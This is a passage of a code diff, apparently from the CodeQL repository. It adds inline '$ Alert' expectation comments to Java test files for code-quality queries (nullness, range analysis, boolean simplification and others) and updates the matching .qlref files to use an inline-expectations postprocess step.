System.out.println(methodaccess.toString()); // $ Alert[java/dereferenced-value-is-always-null] System.out.println(arrayaccess[1]); System.out.println(fieldaccess.length); @@ -261,16 +261,16 @@ public class A { System.out.println(for_ok.size()); List for_always = null; - for (String s : for_always) + for (String s : for_always) // $ Alert[java/dereferenced-value-is-always-null] System.out.println(s); - System.out.println(for_always.size()); + System.out.println(for_always.size()); // $ Alert[java/dereferenced-value-is-always-null] List for_maybe = java.util.Collections.emptyList(); for (String s : for_maybe) { System.out.println(s); for_maybe = null; } - System.out.println(for_maybe.size()); + System.out.println(for_maybe.size()); // $ Alert[java/dereferenced-value-may-be-null] } public void assertFalseInstanceofTest() { @@ -290,7 +290,7 @@ public class A { public void assertFalseNotNullNestedTest() { Object s = String.valueOf(1); assertFalse(s != null || !"1".equals("1")); // assertTrue(s==null) - s.toString().isEmpty(); + s.toString().isEmpty(); // $ Alert[java/dereferenced-value-is-always-null] } public void testForLoopCondition(Iterable iter) { diff --git a/java/ql/test/query-tests/Nullness/B.java b/java/ql/test/query-tests/Nullness/B.java index 5759df2d236..14ff2b35935 100644 --- a/java/ql/test/query-tests/Nullness/B.java +++ b/java/ql/test/query-tests/Nullness/B.java @@ -13,14 +13,14 @@ public class B { } public void callee1(Object param) { - param.toString(); // NPE + param.toString(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } public void callee2(Object param) { if (param != null) { param.toString(); // OK } - param.toString(); // NPE + param.toString(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } private static boolean customIsNull(Object x) { @@ -54,7 +54,7 @@ public class B { if (ok) o7.hashCode(); // OK else - o7.hashCode(); // NPE + o7.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE Object o8 = maybe ? null : ""; int track = o8 == null ? 42 : 1+1; @@ -66,16 +66,16 @@ public class B { public void deref() { int[] xs = maybe ? null : new int[2]; - if (2 > 1) xs[0] = 5; // NPE - if (2 > 1) maybe = xs[1] > 5; // NPE + if (2 > 1) xs[0] = 5; // $ Alert[java/dereferenced-value-may-be-null] // NPE + if (2 > 1) maybe = xs[1] > 5; // $ Alert[java/dereferenced-value-may-be-null] // NPE if (2 > 1) { - int l = xs.length; // NPE + int l = xs.length; // $ Alert[java/dereferenced-value-may-be-null] // NPE } if (2 > 1) { - for (int i : xs) { } // NPE + for (int i : xs) { } // $ Alert[java/dereferenced-value-may-be-null] // NPE } if (2 > 1) { - synchronized(xs) { // NPE + synchronized(xs) { // $ Alert[java/dereferenced-value-may-be-null] // NPE xs.hashCode(); // Not reported - same basic block } } @@ -115,7 +115,7 @@ public class B { } public void missedGuard(Object obj) { - obj.hashCode(); // NPE + obj.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE int x = obj != null ? 1 : 0; } @@ -130,7 +130,7 @@ public class B { obj = mkMaybe(); } catch(Exception e) { } - obj.hashCode(); // NPE + obj.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE Object obj2 = null; try { @@ -187,7 +187,7 @@ public class B { Object other = maybe ? null : ""; if (other == null) o = ""; if (other != null) - o.hashCode(); // NPE + o.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE else o.hashCode(); // OK @@ -301,7 +301,7 @@ public class B { if (ioe != null) { ioe = e; } else { - ioe.getMessage(); // NPE; always + ioe.getMessage(); // $ Alert[java/dereferenced-value-is-always-null] // NPE; always } } @@ -331,7 +331,7 @@ public class B { x = new Object(); } if(y instanceof String) { - x.hashCode(); // Spurious NPE - false positive + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -341,7 +341,7 @@ public class B { x = new Object(); } if(!(y instanceof String)) { - x.hashCode(); // Spurious NPE - false positive + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -351,7 +351,7 @@ public class B { x = new Object(); } if(y == z) { - x.hashCode(); // Spurious NPE - false positive + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } Object x2 = null; @@ -359,7 +359,7 @@ public class B { x2 = new Object(); } if(y != z) { - x2.hashCode(); // Spurious NPE - false positive + x2.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } Object x3 = null; @@ -367,7 +367,7 @@ public class B { x3 = new Object(); } if(!(y == z)) { - x3.hashCode(); // Spurious NPE - false positive + x3.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } @@ -405,7 +405,7 @@ public class B { g5 |= b; if (g5) { - x.hashCode(); // NPE + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } } @@ -417,7 +417,7 @@ public class B { x = null; } if (!b) { - x.hashCode(); // NPE + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } // flow can loop around from one iteration to the next } @@ -462,7 +462,7 @@ public class B { cur = a[i]; if (!prev) { // correctly guarded by !cur from the _previous_ iteration - x.hashCode(); // Spurious NPE - false positive + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } else { x = new Object(); } @@ -484,7 +484,7 @@ public class B { t = new Object(); } // correctly guarded by t: null -> String -> Object - x.hashCode(); // Spurious NPE - false positive + x.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive } } } @@ -513,7 +513,7 @@ public class B { int c = -1; if (maybe) { } if (c == 100) { return; } - o.hashCode(); // NPE + o.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } public void testFinally(int[] xs, int[] ys) { @@ -532,9 +532,9 @@ public class B { } finally { } s1.hashCode(); // OK - s2.hashCode(); // NPE + s2.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } - s1.hashCode(); // NPE + s1.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } public void lenCheck(int[] xs, int n, int t) { @@ -573,7 +573,7 @@ public class B { } finally { } } - s.hashCode(); // Spurious NPE - false positive + s.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // Spurious NPE - false positive // CFG reachability does not distinguish abrupt successors } } diff --git a/java/ql/test/query-tests/Nullness/C.java b/java/ql/test/query-tests/Nullness/C.java index edd64cfa79b..0ecc0c23f88 100644 --- a/java/ql/test/query-tests/Nullness/C.java +++ b/java/ql/test/query-tests/Nullness/C.java @@ -6,8 +6,8 @@ public class C { long[][] a2 = null; boolean haveA2 = ix < len && (a2 = a1[ix]) != null; long[] a3 = null; - final boolean haveA3 = haveA2 && (a3 = a2[ix]) != null; // NPE - false positive - if (haveA3) a3[0] = 0; // NPE - false positive + final boolean haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive + if (haveA3) a3[0] = 0; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive } public void ex2(boolean x, boolean y) { @@ -18,7 +18,7 @@ public class C { s2 = (s1 == null) ? null : ""; } if (s2 != null) - s1.hashCode(); // NPE - false positive + s1.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive } public void ex3(List ss) { @@ -48,7 +48,7 @@ public class C { slice = new ArrayList<>(); result.add(slice); } - slice.add(str); // NPE - false positive + slice.add(str); // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive ++index; iter.remove(); } @@ -141,7 +141,7 @@ public class C { public void ex10(int[] a) { int n = a == null ? 0 : a.length; for (int i = 0; i < n; i++) { - int x = a[i]; // NPE - false positive + int x = a[i]; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive if (x > 7) a = new int[n]; } @@ -216,7 +216,7 @@ public class C { if (o1 == o2) { return; } - if (o1.equals(o2)) { // NPE - false positive + if (o1.equals(o2)) { // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive return; } } @@ -230,7 +230,7 @@ public class C { public static void ex16(C c) { int[] xs = c.getFoo16() != null ? new int[5] : null; if (c.getFoo16() != null) { - xs[0]++; // NPE - false positive + xs[0]++; // $ Alert[java/dereferenced-value-may-be-null] // NPE - false positive } } diff --git a/java/ql/test/query-tests/Nullness/ExprDeref.java b/java/ql/test/query-tests/Nullness/ExprDeref.java index 61aa9c4d8da..4a4c503d959 100644 --- a/java/ql/test/query-tests/Nullness/ExprDeref.java +++ b/java/ql/test/query-tests/Nullness/ExprDeref.java @@ -4,6 +4,6 @@ public class ExprDeref { } int unboxBad(boolean b) { - return (b ? null : getBoxed()); // NPE + return (b ? null : getBoxed()); // $ Alert[java/dereferenced-expr-may-be-null] // NPE } } diff --git a/java/ql/test/query-tests/Nullness/F.java b/java/ql/test/query-tests/Nullness/F.java index 6589c3d78fa..d1fd4348429 100644 --- a/java/ql/test/query-tests/Nullness/F.java +++ b/java/ql/test/query-tests/Nullness/F.java @@ -8,13 +8,13 @@ public class F { public void m2(Object obj) { if (obj == null) doStuff(); - obj.hashCode(); // NPE + obj.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } public void m3(Object obj) { if (obj == null) doStuffOrThrow(0); - obj.hashCode(); // NPE + obj.hashCode(); // $ Alert[java/dereferenced-value-may-be-null] // NPE } public static class MyException extends RuntimeException { diff --git a/java/ql/test/query-tests/Nullness/G.java b/java/ql/test/query-tests/Nullness/G.java index 9a525e8d14b..c8c69873299 100644 --- a/java/ql/test/query-tests/Nullness/G.java +++ b/java/ql/test/query-tests/Nullness/G.java @@ -17,7 +17,7 @@ public class G { case null, default -> "bar"; }; - switch(s) { // BAD; lack of a null case means this may throw. + switch(s) { // $ Alert[java/dereferenced-value-may-be-null] // BAD; lack of a null case means this may throw. case "foo" -> System.out.println("Foo"); case String s2 -> System.out.println("Other string of length " + s2.length()); } diff --git a/java/ql/test/query-tests/Nullness/NullAlways.qlref b/java/ql/test/query-tests/Nullness/NullAlways.qlref index a03818b411f..76df7c2751e 100644 --- a/java/ql/test/query-tests/Nullness/NullAlways.qlref +++ b/java/ql/test/query-tests/Nullness/NullAlways.qlref @@ -1 +1,2 @@ -Likely Bugs/Nullness/NullAlways.ql +query: Likely Bugs/Nullness/NullAlways.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Nullness/NullExprDeref.qlref b/java/ql/test/query-tests/Nullness/NullExprDeref.qlref index 46dda091593..4ca963ecbcc 100644 --- a/java/ql/test/query-tests/Nullness/NullExprDeref.qlref +++ b/java/ql/test/query-tests/Nullness/NullExprDeref.qlref @@ -1 +1,2 @@ -Likely Bugs/Nullness/NullExprDeref.ql +query: Likely Bugs/Nullness/NullExprDeref.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Nullness/NullMaybe.qlref b/java/ql/test/query-tests/Nullness/NullMaybe.qlref index ab01473d8e5..19125c7bc59 100644 --- a/java/ql/test/query-tests/Nullness/NullMaybe.qlref +++ b/java/ql/test/query-tests/Nullness/NullMaybe.qlref @@ -1 +1,2 @@ -Likely Bugs/Nullness/NullMaybe.ql +query: Likely Bugs/Nullness/NullMaybe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NumberFormatException/NumberFormatException.qlref b/java/ql/test/query-tests/NumberFormatException/NumberFormatException.qlref index 8d221a0854f..4f183d197af 100644 --- a/java/ql/test/query-tests/NumberFormatException/NumberFormatException.qlref +++ b/java/ql/test/query-tests/NumberFormatException/NumberFormatException.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Exception Handling/NumberFormatException.ql +query: Violations of Best Practice/Exception Handling/NumberFormatException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NumberFormatException/Test.java b/java/ql/test/query-tests/NumberFormatException/Test.java index b886116eb74..6f58bac8ba2 100644 --- a/java/ql/test/query-tests/NumberFormatException/Test.java +++ b/java/ql/test/query-tests/NumberFormatException/Test.java @@ -8,46 +8,46 @@ public class Test { } static void test1() { - Byte.parseByte("123"); - Byte.decode("123"); - Byte.valueOf("123"); - Byte.valueOf("123", 10); - Byte.valueOf("7f", 16); - new Byte("123"); + Byte.parseByte("123"); // $ Alert + Byte.decode("123"); // $ Alert + Byte.valueOf("123"); // $ Alert + Byte.valueOf("123", 10); // $ Alert + Byte.valueOf("7f", 16); // $ Alert + new Byte("123"); // $ Alert new Byte((byte) 123); // don't flag: wrong constructor - Short.parseShort("123"); - Short.decode("123"); - Short.valueOf("123"); - Short.valueOf("123", 10); - Short.valueOf("7abc", 16); - new Short("123"); + Short.parseShort("123"); // $ Alert + Short.decode("123"); // $ Alert + Short.valueOf("123"); // $ Alert + Short.valueOf("123", 10); // $ Alert + Short.valueOf("7abc", 16); // $ Alert + new Short("123"); // $ Alert new Short((short) 123); // don't flag: wrong constructor - Integer.parseInt("123"); - Integer.decode("123"); - Integer.valueOf("123"); - Integer.valueOf("123", 10); - Integer.valueOf("1234beef", 16); - new Integer("123"); + Integer.parseInt("123"); // $ Alert + Integer.decode("123"); // $ Alert + Integer.valueOf("123"); // $ Alert + Integer.valueOf("123", 10); // $ Alert + Integer.valueOf("1234beef", 16); // $ Alert + new Integer("123"); // $ Alert new Integer(123); // don't flag: wrong constructor - Long.parseLong("123"); - Long.decode("123"); - Long.valueOf("123"); - Long.valueOf("123", 10); - Long.valueOf("deadbeef", 16); - new Long("123"); + Long.parseLong("123"); // $ Alert + Long.decode("123"); // $ Alert + Long.valueOf("123"); // $ Alert + Long.valueOf("123", 10); // $ Alert + Long.valueOf("deadbeef", 16); // $ Alert + new Long("123"); // $ Alert new Long(123l); // don't flag: wrong constructor - Float.parseFloat("2.7818281828"); - Float.valueOf("2.7818281828"); - new Float("2.7818281828"); + Float.parseFloat("2.7818281828"); // $ Alert + Float.valueOf("2.7818281828"); // $ Alert + new Float("2.7818281828"); // $ Alert new Float(2.7818281828f); // don't flag: wrong constructor - Double.parseDouble("2.7818281828"); - Double.valueOf("2.7818281828"); - new Double("2.7818281828"); + Double.parseDouble("2.7818281828"); // $ Alert + Double.valueOf("2.7818281828"); // $ Alert + new Double("2.7818281828"); // $ Alert new Double(2.7818281828); // don't flag: wrong constructor } diff --git a/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref b/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref index c2db43d8953..a129d30287b 100644 --- a/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref +++ b/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatch.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/PartiallyMaskedCatch.ql \ No newline at end of file +query: Likely Bugs/Statements/PartiallyMaskedCatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatchTest.java b/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatchTest.java index 4debe220f25..b5423a3c731 100644 --- a/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatchTest.java +++ b/java/ql/test/query-tests/PartiallyMaskedCatch/PartiallyMaskedCatchTest.java @@ -13,7 +13,7 @@ public class PartiallyMaskedCatchTest { // reachable: ExceptionB is thrown by invocation of CloseableThing.doThing() } catch (ExceptionA e) { // reachable: ExceptionA is thrown by implicit invocation of CloseableThing.close() - } catch (IOException e) { + } catch (IOException e) { // $ Alert // unreachable: only more specific exceptions are thrown and caught by previous catch blocks } @@ -23,7 +23,7 @@ public class PartiallyMaskedCatchTest { // reachable: ExceptionB is thrown by invocation of CloseableThing.doThing() } catch (ExceptionA | RuntimeException e) { // reachable: ExceptionA is thrown by implicit invocation of CloseableThing.close() - } catch (IOException e) { + } catch (IOException e) { // $ Alert // unreachable: only more specific exceptions are thrown and caught by previous catch blocks } @@ -33,7 +33,7 @@ public class PartiallyMaskedCatchTest { // reachable: ExceptionB is thrown by invocation of CloseableThing.doThing() } catch (ExceptionA | IllegalArgumentException e) { // reachable: ExceptionA is thrown by implicit invocation of CloseableThing.close() - } catch (IOException | RuntimeException e) { + } catch (IOException | RuntimeException e) { // $ Alert // unreachable for type IOException: only more specific exceptions are thrown and caught by previous catch blocks } diff --git a/java/ql/test/query-tests/PointlessForwardingMethod/PointlessForwardingMethod.qlref b/java/ql/test/query-tests/PointlessForwardingMethod/PointlessForwardingMethod.qlref index 310c4a6ae3e..ad8cb0f399d 100644 --- a/java/ql/test/query-tests/PointlessForwardingMethod/PointlessForwardingMethod.qlref +++ b/java/ql/test/query-tests/PointlessForwardingMethod/PointlessForwardingMethod.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Dead Code/PointlessForwardingMethod.ql +query: Violations of Best Practice/Dead Code/PointlessForwardingMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/PointlessForwardingMethod/pointlessforwardingmethod/Test.java b/java/ql/test/query-tests/PointlessForwardingMethod/pointlessforwardingmethod/Test.java index 4810a4cefcf..a71b7c7382d 100644 --- a/java/ql/test/query-tests/PointlessForwardingMethod/pointlessforwardingmethod/Test.java +++ b/java/ql/test/query-tests/PointlessForwardingMethod/pointlessforwardingmethod/Test.java @@ -6,7 +6,7 @@ public class Test { return x + one; } - int addOne(byte x) { + int addOne(byte x) { // $ Alert return addOne(x, 1); } diff --git a/java/ql/test/query-tests/PrintLnArray/PrintLn.qlref b/java/ql/test/query-tests/PrintLnArray/PrintLn.qlref index 476f3f42e6e..ccb0525d55e 100644 --- a/java/ql/test/query-tests/PrintLnArray/PrintLn.qlref +++ b/java/ql/test/query-tests/PrintLnArray/PrintLn.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Undesirable Calls/PrintLnArray.ql \ No newline at end of file +query: Violations of Best Practice/Undesirable Calls/PrintLnArray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/PrintLnArray/Test.java b/java/ql/test/query-tests/PrintLnArray/Test.java index 4890b892ce8..917091c21de 100644 --- a/java/ql/test/query-tests/PrintLnArray/Test.java +++ b/java/ql/test/query-tests/PrintLnArray/Test.java @@ -3,6 +3,6 @@ class Test { // OK: calls PrintStream.println(char[]) System.out.println(new char[] { 'H', 'i' }); // NOT OK: calls PrintStream.println(Object) - System.out.println(new byte[0]); + System.out.println(new byte[0]); // $ Alert } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/RandomUsedOnce/RandomUsedOnce.qlref b/java/ql/test/query-tests/RandomUsedOnce/RandomUsedOnce.qlref index fa212fc3548..9dd0dd1812b 100644 --- a/java/ql/test/query-tests/RandomUsedOnce/RandomUsedOnce.qlref +++ b/java/ql/test/query-tests/RandomUsedOnce/RandomUsedOnce.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/RandomUsedOnce.ql +query: Likely Bugs/Arithmetic/RandomUsedOnce.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/RandomUsedOnce/Test.java b/java/ql/test/query-tests/RandomUsedOnce/Test.java index 81ee1f0dd5a..d27779f6757 100644 --- a/java/ql/test/query-tests/RandomUsedOnce/Test.java +++ b/java/ql/test/query-tests/RandomUsedOnce/Test.java @@ -4,7 +4,7 @@ public class Test { public static void test() { - (new Random()).nextInt(); + (new Random()).nextInt(); // $ Alert } diff --git a/java/ql/test/query-tests/RangeAnalysis/A.java b/java/ql/test/query-tests/RangeAnalysis/A.java index b68de9beaa7..acd05fae9b8 100644 --- a/java/ql/test/query-tests/RangeAnalysis/A.java +++ b/java/ql/test/query-tests/RangeAnalysis/A.java @@ -16,14 +16,14 @@ public class A { void m1(int[] a) { int sum = 0; for (int i = 0; i <= a.length; i++) { - sum += a[i]; // Out of bounds + sum += a[i]; // $ Alert // Out of bounds } } void m2(int[] a) { int sum = 0; for (int i = 0; i < a.length; i += 2) { - sum += a[i] + a[i + 1]; // Out of bounds (unless len%2==0) + sum += a[i] + a[i + 1]; // $ Alert // Out of bounds (unless len%2==0) } } @@ -42,11 +42,11 @@ public class A { } for (int i = 0; i < arr2.length; ) { sum += arr2[i++]; // OK - sum += arr2[i++]; // OK - FP + sum += arr2[i++]; // $ Alert // OK - FP } for (int i = 0; i < arr3.length; ) { sum += arr3[i++]; // OK - sum += arr3[i++]; // OK - FP + sum += arr3[i++]; // $ Alert // OK - FP } int[] b; if (sum > 3) @@ -55,7 +55,7 @@ public class A { b = arr1; for (int i = 0; i < b.length; i++) { sum += b[i]; // OK - sum += b[++i]; // OK - FP + sum += b[++i]; // $ Alert // OK - FP } } @@ -86,7 +86,7 @@ public class A { int m6(int[] a, int ix) { if (ix < 0 || ix > a.length) return 0; - return a[ix]; // Out of bounds + return a[ix]; // $ Alert // Out of bounds } void m7() { @@ -97,7 +97,7 @@ public class A { sum += xs[i]; // OK sum += xs[j]; // OK if (i < j) - sum += xs[i + 11 - j]; // OK - FP + sum += xs[i + 11 - j]; // $ Alert // OK - FP else sum += xs[i - j]; // OK } @@ -110,8 +110,8 @@ public class A { int sum = 0; for (int i = 4; i < a.length; i += 3) { sum += a[i]; // OK - sum += a[i + 1]; // OK - FP - sum += a[i + 2]; // OK - FP + sum += a[i + 1]; // $ Alert // OK - FP + sum += a[i + 2]; // $ Alert // OK - FP } } @@ -122,7 +122,7 @@ public class A { if (i < 5) sum += a[i]; // OK else - sum += a[9 - i]; // OK - FP + sum += a[9 - i]; // $ Alert // OK - FP } } @@ -134,7 +134,7 @@ public class A { sum += a[i]; // OK for (int j = i + 1; j < len; j++) { sum += a[j]; // OK - sum += a[i + 1]; // OK - FP + sum += a[i + 1]; // $ Alert // OK - FP } } } @@ -182,7 +182,7 @@ public class A { void m14(int[] xs) { for (int i = 0; i < xs.length + 1; i++) { if (i == 0 && xs.length > 0) { - xs[i]++; // OK - FP + xs[i]++; // $ Alert // OK - FP } } } @@ -192,23 +192,23 @@ public class A { int x = ++i; int y = ++i; if (y < xs.length) { - xs[x]++; // OK - FP + xs[x]++; // $ Alert // OK - FP xs[y]++; // OK } } } static int m16() { - return A.arr1[(new Random()).nextInt(arr1.length + 1)] + // BAD: random int may be out of range + return A.arr1[(new Random()).nextInt(arr1.length + 1)] + // $ Alert // BAD: random int may be out of range A.arr1[(new Random()).nextInt(arr1.length)] + // GOOD: random int must be in range - A.arr1[RandomUtils.nextInt(0, arr1.length + 1)] + // BAD: random int may be out of range + A.arr1[RandomUtils.nextInt(0, arr1.length + 1)] + // $ Alert // BAD: random int may be out of range A.arr1[RandomUtils.nextInt(0, arr1.length)]; // GOOD: random int must be in range } int m17() { - return this.arr2[(new Random()).nextInt(arr2.length + 1)] + // BAD: random int may be out of range + return this.arr2[(new Random()).nextInt(arr2.length + 1)] + // $ Alert // BAD: random int may be out of range this.arr2[(new Random()).nextInt(arr2.length)] + // GOOD: random int must be in range - this.arr2[RandomUtils.nextInt(0, arr2.length + 1)] + // BAD: random int may be out of range + this.arr2[RandomUtils.nextInt(0, arr2.length + 1)] + // $ Alert // BAD: random int may be out of range this.arr2[RandomUtils.nextInt(0, arr2.length)]; // GOOD: random int must be in range } } diff --git a/java/ql/test/query-tests/RangeAnalysis/ArrayIndexOutOfBounds.qlref b/java/ql/test/query-tests/RangeAnalysis/ArrayIndexOutOfBounds.qlref index 439f2fd18de..a374970716f 100644 --- a/java/ql/test/query-tests/RangeAnalysis/ArrayIndexOutOfBounds.qlref +++ b/java/ql/test/query-tests/RangeAnalysis/ArrayIndexOutOfBounds.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/ArrayIndexOutOfBounds.ql +query: Likely Bugs/Collections/ArrayIndexOutOfBounds.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref b/java/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref index 2f4f5248a6b..623d63c7505 100644 --- a/java/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref +++ b/java/ql/test/query-tests/ReadOnlyContainer/ReadOnlyContainer.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/ReadOnlyContainer.ql \ No newline at end of file +query: Likely Bugs/Collections/ReadOnlyContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ReadOnlyContainer/Test.java b/java/ql/test/query-tests/ReadOnlyContainer/Test.java index f4e75501bc8..7eb11a5784c 100644 --- a/java/ql/test/query-tests/ReadOnlyContainer/Test.java +++ b/java/ql/test/query-tests/ReadOnlyContainer/Test.java @@ -2,7 +2,7 @@ import java.util.*; public class Test { boolean containsDuplicates(Object[] array) { - Set seen = new HashSet(); + Set seen = new HashSet(); // $ Alert for (Object o : array) { // should be flagged if (seen.contains(o)) @@ -65,7 +65,7 @@ public class Test { } List g() { - List bl = new ArrayList(); + List bl = new ArrayList(); // $ Alert // should be flagged bl.contains(false); return bl; @@ -81,4 +81,4 @@ public class Test { return sneakySet.contains(x); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref b/java/ql/test/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref index ef1dc964d95..ab13392ec55 100644 --- a/java/ql/test/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref +++ b/java/ql/test/query-tests/ReturnValueIgnored/ReturnValueIgnored.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/ReturnValueIgnored.ql \ No newline at end of file +query: Likely Bugs/Statements/ReturnValueIgnored.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/ReturnValueIgnored/return_value_ignored/Test.java b/java/ql/test/query-tests/ReturnValueIgnored/return_value_ignored/Test.java index 49ec7daf694..f736a12b764 100644 --- a/java/ql/test/query-tests/ReturnValueIgnored/return_value_ignored/Test.java +++ b/java/ql/test/query-tests/ReturnValueIgnored/return_value_ignored/Test.java @@ -38,7 +38,7 @@ public class Test implements I { foo = test3.getI(); foo = test1.getI(); foo = test2.getI(); - test3.getI(); + test3.getI(); // $ Alert // test setter; shouldn't flag last call Test test; @@ -86,6 +86,6 @@ public class Test implements I { t = s.trim(); t = s.trim(); t = s.trim(); - s.trim(); + s.trim(); // $ Alert } } diff --git a/java/ql/test/query-tests/SelfAssignment/SelfAssignment.qlref b/java/ql/test/query-tests/SelfAssignment/SelfAssignment.qlref index de3fdee7091..b56a4a66749 100644 --- a/java/ql/test/query-tests/SelfAssignment/SelfAssignment.qlref +++ b/java/ql/test/query-tests/SelfAssignment/SelfAssignment.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/SelfAssignment.ql +query: Likely Bugs/Likely Typos/SelfAssignment.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/SelfAssignment/Test.java b/java/ql/test/query-tests/SelfAssignment/Test.java index 7b55fd4c1d0..2c89a4a49bf 100644 --- a/java/ql/test/query-tests/SelfAssignment/Test.java +++ b/java/ql/test/query-tests/SelfAssignment/Test.java @@ -3,7 +3,7 @@ class Outer { Outer(int x) { // NOT OK - x = x; + x = x; // $ Alert // OK this.x = x; } @@ -20,4 +20,4 @@ class Outer { // OK { x = Outer.this.x; } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.java b/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.java index 7d425e96d80..612acaa5c7a 100644 --- a/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.java +++ b/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.java @@ -1,16 +1,16 @@ class Test { void f(boolean x, boolean y, Boolean a, Boolean b) { boolean w; - w = a == false; - w = x != true; - w = a ? false : b; - w = a ? true : false; - w = x ? y : true; + w = a == false; // $ Alert + w = x != true; // $ Alert + w = a ? false : b; // $ Alert + w = a ? true : false; // $ Alert + w = x ? y : true; // $ Alert } void g(int x, int y) { boolean w; - w = !(x > y); - w = !(x != y); + w = !(x > y); // $ Alert + w = !(x != y); // $ Alert } public Boolean getBool(int i) { if (i > 2) @@ -19,7 +19,7 @@ class Test { } public Boolean getBoolNPE(int i) { if (i > 2) - return i == 3 ? true : ((Boolean)null); // should be reported; both this and the simplified version have equal NPE behavior - return i == 1 ? false : ((Boolean)null); // should be reported; both this and the simplified version have equal NPE behavior + return i == 3 ? true : ((Boolean)null); // $ Alert // should be reported; both this and the simplified version have equal NPE behavior + return i == 1 ? false : ((Boolean)null); // $ Alert // should be reported; both this and the simplified version have equal NPE behavior } } diff --git a/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref b/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref index d071e989ebb..45d0db5559c 100644 --- a/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref +++ b/java/ql/test/query-tests/SimplifyBoolExpr/SimplifyBoolExpr.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +query: Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/SpuriousJavadocParam/Test.java b/java/ql/test/query-tests/SpuriousJavadocParam/Test.java index d8891afb756..ca724cf468c 100644 --- a/java/ql/test/query-tests/SpuriousJavadocParam/Test.java +++ b/java/ql/test/query-tests/SpuriousJavadocParam/Test.java @@ -54,83 +54,83 @@ public class Test { protected void ok9(int...param){ } /** - * @param prameter typo + * @param prameter typo // $ Alert */ public void problem1(int parameter){ } /** - * @param Parameter capitalization + * @param Parameter capitalization // $ Alert */ public void problem2(int parameter){ } /** - * @param parameter unmatched + * @param parameter unmatched // $ Alert */ public void problem3(){ } 